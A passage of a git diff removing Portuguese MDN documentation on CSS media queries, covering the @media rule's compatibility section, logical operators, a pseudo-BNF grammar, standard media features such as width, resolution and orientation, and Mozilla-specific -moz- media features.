- </tr>
- <tr>
- <td>{{SpecName('CSS3 Conditional')}}</td>
- <td>{{Spec2('CSS3 Conditional')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS4 Media Queries')}}</td>
- <td>{{Spec2('CSS4 Media Queries')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Media Queries')}}</td>
- <td>{{Spec2('CSS3 Media Queries')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS2.1', 'media.html')}}</td>
- <td>{{Spec2('CSS2.1')}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2>
-
-<h3 id="media_rule">@media rule</h3>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se gostaria de contribuir para estes dados, visite o repositório <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em>pull request</em>.</div>
-
-<p>{{Compat("css.at-rules.media")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>A regra {{cssxref("@supports")}} permite aplicar estilos em função da compatibilidade do navegador com diversas tecnologias CSS.</li>
-</ul>
diff --git a/files/pt-pt/web/css/media_queries/using_media_queries/index.html b/files/pt-pt/web/css/media_queries/using_media_queries/index.html
deleted file mode 100644
index fee2c9ecf1..0000000000
--- a/files/pt-pt/web/css/media_queries/using_media_queries/index.html
+++ /dev/null
@@ -1,437 +0,0 @@
----
-title: Utilizar consultas de média
-slug: Web/CSS/Media_Queries/Using_media_queries
-tags:
- - Avançado
- - CSS
- - Desenho Adaptável
- - Guía
- - Media
-translation_of: Web/CSS/Media_Queries/Using_media_queries
-original_slug: Web/CSS/Consulta_de_mídia
----
-<p>{{ gecko_minversion_header("1.9.1") }}</p>
-
-<p>As <strong>consultas de média </strong>permitem modificar um site ou aplicação de acordo com o tipo de dispositivo (ecrã ou impressora, por exemplo) ou características e parâmetros específicos (como a resolução de ecrã ou largura do {{glossary("viewport")}} do navegador). Podem utilizar-se para:</p>
-
-<ul>
- <li>Aplicar estilos condicionalmente numa folha CSS, com recurso às regras {{cssxref("@media")}} e {{cssxref("@import")}};</li>
- <li>Desenhar para um tipo de média específico com os elementos HTML {{HTMLElement("link")}}, {{HTMLElement("source")}}, e outros;</li>
- <li>Testar e monitorizar estados de média utilizando os métodos de JavaScript {{domxref("Window.matchMedia()")}} and {{domxref("MediaQueryList.addListener()")}}.</li>
-</ul>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p>Consultas de média consistem num <a class="internal" href="/pt-PT/docs/Web/CSS/@media" title="En/CSS/@media">tipo de média</a> e uma ou mais expressões envolvendo recursos de média. Note que estas consultas não são sensíveis a maiúsculas. Pode-se combinar várias consultas com <em>operadores lógicos</em>.</p>
-
-<p>O resultado da consulta é verdadeiro se o tipo de média especificado na consulta de média encaixa com o tipo de dispositivo no qual o documento está a ser exibido <strong>e</strong> se todas as expressões na consulta de média forem verdadeiras.</p>
-
-<p>Quando uma consulta de média é verdadeira, a folha de estilos correspondente é aplicada seguinto as regras normais de cascata.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Considere a etiqueta {{HTMLElement("link")}} com uma consulta de média. O ficheiro CSS que ela refere é descarregado mesmo que a consulta de média seja falsa; o conteúdo da folha não será aplicado até a consulta se tornar verdadeira.</p>
-</div>
-
-<h3 id="Operadores_lógicos">Operadores lógicos</h3>
-
-<p>Você pode compor consultas de média complexas usando operadores lógicos, incluindo <code>not</code>, <code>and</code>, e <code>only</code> ; assim como combinar consultas de média numa lista separada por vírgulas, o que é equivalente a um operador "ou".</p>
-
-<h4 id="and"><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>and</strong></span></font></h4>
-
-<p>O operador <code>and</code> indica que a consulta é verdadeira se cada subconsulta que a compõe for verdadeira. Também pode juntar os tipos de média às funcionalidades de média. Tem maior precedência que a vírgula ("ou") e o <code>not</code>.</p>
-
-<h4 id="not"><strong><code>not</code></strong></h4>
-
-<p>A palavra-chave <code>not</code>, nega o resultado de toda a consulta; por exemplo, "<code><span style="font-family: monospace;">all</span> and (not color)</code>" é verdadeiro para dispositivos monocromáticos independentemente do tipo de média. É o operador com menor precedência depois da vírgula.</p>
-
-<h4 id="only"><strong><code>only</code></strong></h4>
-
-<p>A palavra-chave <code>only</code> indica que só deve ser aplicado o estilo se a consulta inteira for verdadeira. Quando se utiliza este operador, é obrigatório especificar um tipo de média.</p>
-
-<p>É útil para esconder folhas de estilo de navegadores antigos que não suportam consultas de média. Por exemplo, se não for utilizado <code>only</code>, navegadores antigos interpretam a consulta <code>screen and (max-width: 500px)</code> apenas como <code>screen</code> - ignoram o resto e aplicam o estilo em todos os ecrãs. </p>
-
-<p>Este operador não pode ser utilizado em conjunto com o <code>not</code>, e ambos têm a mesma precedência.</p>
-
-<h4 id="(vírgula)"><code>,</code> (vírgula)</h4>
-
-<p>Cada subconsulta numa lista separada por vírgulas é avaliada isoladamente e e alguma  for verdadeira, a consulta composta é verdadeira. Por outras palavras, as vírgulas são equivalentes a um "ou-lógico".</p>
-
-<h4 id="Precedência_dos_operadores">Precedência dos operadores</h4>
-
-<ul>
- <li>As vírgulas têm a menor precedência;</li>
- <li><code>only</code> e <code>not</code> têm a mesma precedência;</li>
- <li><code>and</code> tem a maior precedência.</li>
-</ul>
-
-<p>Os parênteses <strong>não </strong>podem ser utilizados para mudar esta precedência.</p>
-
-<p> </p>
-
-<h3 id="Pseudo_BNF_(para_aqueles_que_gostam_desde_tipo_de_coisa)">Pseudo BNF (para aqueles que gostam desde tipo de coisa)</h3>
-
-<pre>media_query_list: &lt;media_query&gt; [, &lt;media_query&gt; ]*
-media_query: [[only | not]? &lt;media_type&gt; [ and &lt;expression&gt; ]*]
- | &lt;expression&gt; [ and &lt;expression&gt; ]*
-expression: ( &lt;media_feature&gt; [: &lt;value&gt;]? )
-media_type: all | aural | braille | handheld | print |
- projection | screen | tty | tv | embossed
-media_feature: width | min-width | max-width
- | height | min-height | max-height
- | device-width | min-device-width | max-device-width
- | device-height | min-device-height | max-device-height
- | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
- | color | min-color | max-color
- | color-index | min-color-index | max-color-index
- | monochrome | min-monochrome | max-monochrome
- | resolution | min-resolution | max-resolution
- | scan | grid</pre>
-
-<p>Consultas de média não diferenciam maiúsculas de minúsculas. Consultas de média que envolvem tipos de média desconhecidos são sempre falsas.</p>
-
-<div class="note"><strong>Nota:</strong> Os parênteses são requisitados a volta de expressões; esquecer de usá-los é um erro.</div>
-
-<h2 id="Recursos_de_média">Recursos de média</h2>
-
-<p>A maioria dos recursos de média pode ser prefixado com "min-" ou "max-" para expressar "maior ou igual a" ou "menor ou igual a". Isto evita usar os símbolos "&lt;" e "&gt;", que poderiam entrar em conflito com HTML e XML. Se você usar um recurso de média sem especificar um valor, a expressão é definida como verdadeira se o valor do recurso for diferente de zero.</p>
-
-<div class="note"><strong>Nota:</strong> Se um recurso de média não se aplica ao dispositivo no qual o navegador está sendo rodado, expressões envolvendo este recurso de média serão sempre falsas. Por exemplo, consultando a relação de aspecto de um dispositivo auditivo sempre resultará em falso.</div>
-
-<h3 id="color">color</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;color&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Indica o número de bits por componente de cor do dispositivo de saída. Se o dispositivo não é colorido, este valor é zero.</p>
-
-<div class="note"><strong>Nota:</strong> Se os componentes de cor tiverem diferentes de números de bits por componente de cor, o menor número é usado. Por exemplo, se uma tela usa 5 bits para azul e vermelho e 6 bits para verde, então o dispositivo é considerado para usar 5 bits por componente de cor. Se o dispositivo usa cores indexadas, o número mínimo de bits por componente de cor na tabela de cores é usado.</div>
-
-<h4 id="Exemplos">Exemplos</h4>
-
-<p>Para aplicar uma folha de estilos a todos os dispositivos coloridos:</p>
-
-<pre>@media all and (color) { ... }
-</pre>
-
-<p>Para aplicar uma folha de estilos a dispositivos com no mínimo 4 bits por componente de cor:</p>
-
-<pre>@media all and (min-color: 4) { ... }
-</pre>
-
-<h3 id="color-index">color-index</h3>
-
-<p><strong>Valor:</strong> integer<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Indica o número de entradas na tabela de cor para o dispositivo de saída.</p>
-
-<h4 id="Exemplos_2">Exemplos</h4>
-
-<p>Para indicar que uma folha de estilos deve ser aplicada a todos os dispositivos usando cores indexadas, você pode fazer:</p>
-
-<pre>@media all and (color-index) { ... }
-</pre>
-
-<p>Para aplicar uma folha de estilos a dispositivos de cores indexadas com no mínimo 256 cores:</p>
-
-<pre>&lt;link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" /&gt;
-</pre>
-
-<h3 id="device-aspect-ratio">device-aspect-ratio</h3>
-
-<p><strong>Valor:</strong> integer / integer<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Descreve a relação de aspecto do dispositivo de saída. Este valor consiste em dois positivos inteiros (integer) separados por um caractére barra ("/"). Isto representa o número de pixels horizontais sobre o número de pixels verticais.</p>
-
-<h4 id="Exemplo">Exemplo</h4>
-
-<p>O que vem a seguir selecionar uma folha de estilos especial para uso em dispositivos de tela comprida (widescreen):</p>
-
-<pre>@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }</pre>
-
-<p>Isto seleciona o estilo quando a relação de aspecto for 16:9 ou 16:10.</p>
-
-<h3 id="device-height">device-height</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}<br>
- <strong>Aceita os prefixos min/max: </strong>sim</p>
-
-<p>Descreve a altura do dispositivo de saída (sendo a tela ou página inteira, ao invés de somente a área de renderização, como a janela do documento).</p>
-
-<h4 id="Exemplo_2">Exemplo</h4>
-
-<p>Para aplicar uma folha de estilos a um documento quando exibido em uma tela que for mais fina do que 800 pixels, você pode usar isto:</p>
-
-<pre>&lt;link rel="stylesheet" media="screen and (max-device-width: 799px)" /&gt;
-</pre>
-
-<h3 id="device-width">device-width</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Descreve a largura do dispositivo de saída (sendo a tela ou a página inteira, ao invés de somente a área de renderização, como a janela do documento).</p>
-
-<h3 id="grid">grid</h3>
-
-<p><strong>Valor:</strong> integer<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> all<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p>Determina Determines se o dispositivo de saída é um dispositivo <em>grid</em> ou um dispositivo bitmap. Se o dispositivo for baseado em <em>grid</em> (tal como um terminal tty ou uma tela de celular com somente uma fonte), o valor é 1. Caso contrário é zero.</p>
-
-<div class="note"><strong>Nota:</strong> Gecko (e consequentemente o Firefox) não suporta dispositivos <em>grid</em> atualmente, então este recurso de média não é suportado.</div>
-
-<h4 id="Exemplo_3">Exemplo</h4>
-
-<p>Para aplicar um estilo a dispositivos de mão com uma tela de 15 caracteres ou mais estreito:</p>
-
-<pre>@media handheld and (grid) and (max-width: 15em) { ... }
-</pre>
-
-<div class="note"><strong>Nota:</strong> A unidade "em" tem um uso especial em dispositivos <em>grid</em>; desde que a largura exata de um "em" não pôde ser determinada, 1em é assumido como a largura de uma célula <em>grid</em> horizontal, e a altura de uma célula vertical.</div>
-
-<h3 id="height">height</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>O recurso de média <code>height</code> descreve a altura da superfície de renderização do dispositivo de saída (tal como a altura da <em>viewport</em> ou da caixa de páginas em uma impressora).</p>
-
-<div class="note"><strong>Nota:</strong> Quando o usuário redimenciona a janela, o Firefox substituirá as folhas de estilos como for apropriado, baseado em consultas de média usando os recursos de média <code>width</code> e <code>height</code>.</div>
-
-<h3 id="monochrome">monochrome</h3>
-
-<p><strong>Valor:</strong> integer<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Indica o número de bits por pixel em um dispositivo monocromático (escala de cinza). Se o dispositivo não for monocromático, o valor do dispositivo é 0.</p>
-
-<h4 id="Exemplos_3">Exemplos</h4>
-
-<p>Para aplicar uma folha de estilos para todos os dispositivos monocromáticos:</p>
-
-<pre>@media all and (monochrome) { ... }
-</pre>
-
-<p>Para aplicar uma folha de estilos para dispositivos monocromáticos com no mínimo 8 bits por pixel:</p>
-
-<pre>@media all and (min-monochrome: 8) { ... }
-</pre>
-
-<h3 id="orientation">orientation</h3>
-
-<p><strong>Valor:</strong> <code>landscape</code> | <code>portrait</code><br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p>Indica se o dispositivo está em modo paisagem (a exibição é mais larga do que alta) ou retrato (a exibição é mais alta do que larga).</p>
-
-<h4 id="Exemplo_4">Exemplo</h4>
-
-<p>Para aplicar uma folha de estilos somente na orientação retrato:</p>
-
-<pre>@media all and (orientation: portrait) { ... }</pre>
-
-<h3 id="resolution">resolution</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;resolution&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Bitmap", "bitmap")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>Indica a resolução (densidade de pixels) do dispositivo de saída. A resolução pode ser especificada tanto em pontos por polegada (dpi) quanto pontos por centímetro (dpcm).</p>
-
-<h4 id="Exemplo_5">Exemplo</h4>
-
-<p>Para aplicar uma folha de estilos a dispositivos com no mínimo 300 pontos por polegada de resolução:</p>
-
-<pre>@media print and (min-resolution: 300dpi) { ... }
-</pre>
-
-<h3 id="scan">scan</h3>
-
-<p><strong>Valor:</strong> <code>progressive</code> | <code>interlace</code><br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/TV", "tv")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p>Descreve o processo de escaneamento de dispositivos de saída de televisão.</p>
-
-<div class="note"><strong>Nota: </strong>Gecko (e consequentemente o Firefox) não suportam o tipo de média <code>tv</code> atualmente, então este recurso de média não é suportado.</div>
-
-<h4 id="Exemplo_6">Exemplo</h4>
-
-<p>Para aplicar uma folha de estilos somente para televisões com escaneamento progressivo:</p>
-
-<pre>@media tv and (scan: progressive) { ... }
-</pre>
-
-<h3 id="width">width</h3>
-
-<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}<br>
- <strong>Aceita os prefixos min/max:</strong> sim</p>
-
-<p>O recurso de média <code>width</code> descreve a largura da superfície de renderização do dispositivo de saída (tal como a largura da janela do documento, ou a largura da caixa de páginas em uma impressora).</p>
-
-<div class="note"><strong>Nota: </strong>Quando o usuário redimensiona a janela, o Firefox substituirá a folha de estilo como apropriado, baseado nas consultas de média usando os recursos de média <code>width</code> e <code>height</code>.</div>
-
-<h4 id="Exemplos_4">Exemplos</h4>
-
-<p>Se você desejar espeficar uma folha de estilos para dispositivos de mão, ou dispositivos de tela com uma largura maior do que 20em, você pode usar esta folha de estilos:</p>
-
-<pre>@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
-</pre>
-
-<p>Este recurso de média especifica uma folha de estilos que deve ser aplicada a médias impressas mais largas do que 8.5 polegadas:</p>
-
-<pre>&lt;link rel="stylesheet" media="print and (min-width: 8.5in)"
- href="http://foo.com/mystyle.css" /&gt;
-</pre>
-
-<p>Este recurso especifica uma folha de estilos que é usável quando a <em>viewport</em> estiver entre 500 e 800 pixels de largura:</p>
-
-<pre>@media screen and (min-width: 500px) and (max-width: 800px) { ... }
-</pre>
-
-<h2 id="Características_de_média_específicas_da_Mozilla">Características de média específicas da Mozilla</h2>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ gecko_minversion_header("1.9.2") }}</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">A Mozilla oferece várias características de média específicas para o Gecko. Algumas delas podem ser propostas como características oficiais de média.</p>
-
-<h3 id="-moz-images-in-menus">-moz-images-in-menus</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o dispositivo permitir às imagens, aparecer nos menus, recebe 1; caso contrário, o valor é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(images-in-menus)") }} do CSS.</p>
-
-<h3 id="-moz-mac-graphite-theme">-moz-mac-graphite-theme</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o usuário configurou o dispositivo para usar a aparência "Graphite" no Mac OS X, o valor é 1. Se o usuário está usando a aparência azul padrão, ou não for no Mac OS X, o valor é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} do CSS.</p>
-
-<h3 id="-moz-maemo-classic">-moz-maemo-classic</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o usuário está usando o Maemo com o tema original, o valor é 1; se estiver usando o novo tema "Fremantle", o valor é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(maemo-classic)") }} do CSS.</p>
-
-<h3 id="-moz-scrollbar-end-backward">-moz-scrollbar-end-backward</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se a interface do dispositivo do usuário exibe um botão de seta para trás ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} do CSS.</p>
-
-<h3 id="-moz-scrollbar-end-forward">-moz-scrollbar-end-forward</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se a interface do dispositivo do usuário exibe um botão de seta para frente ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} do CSS.</p>
-
-<h3 id="-moz-scrollbar-start-backward">-moz-scrollbar-start-backward</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se a interface do dispositivo do usuário exibe uma seta para trás no início da barra de rolagem, o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} do CSS.</p>
-
-<h3 id="-moz-scrollbar-start-forward">-moz-scrollbar-start-forward</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se a interface do dispositivo do usuário exibe uma seta para frente no início da barra de rolagem, o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} do CSS.</p>
-
-<h3 id="-moz-scrollbar-thumb-proportional">-moz-scrollbar-thumb-proportional</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se a interface do dispositivo do usuário exibe a barra de rolagem proporcionalmente (isto é, tamanho baseado na porcentagem do documento que está visível), o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} do CSS.</p>
-
-<h3 id="-moz-touch-enabled">-moz-touch-enabled</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o dispositivo suporta eventos de toque (para um tela sensível ao toque), o valor é 1. Caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(touch-enabled)") }} do CSS.</p>
-
-<h4 id="Exemplo_7">Exemplo</h4>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Você pode usar isso para renderizar seus botões ligeiramente maiores, por exemplo, se o usuário estiver em um dispositivo com tela sensível ao toque, para torná-lo mais amigável aos dedos.</p>
-
-<h3 id="-moz-windows-classic">-moz-windows-classic</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o usuário estiver usando o Windows, sem tema (no modo clássico ao invés de usar "uxtheme"), o valor é 1; caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-classic)") }} do CSS.</p>
-
-<h3 id="-moz-windows-compositor">-moz-windows-compositor</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se o usuário estiver usando o Windows com o compositor DWM, o valor é 1; caso contrário é 0.</p>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-compositor)") }} do CSS.</p>
-
-<h3 id="-moz-windows-default-theme">-moz-windows-default-theme</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Valor:</strong> inteiro<br>
- <strong style="font-weight: bold;">média</strong><strong>:</strong> {{cssxref("Media/Visual", "visual")}}<br>
- <strong>Aceita os prefixos min/max:</strong> não</p>
-
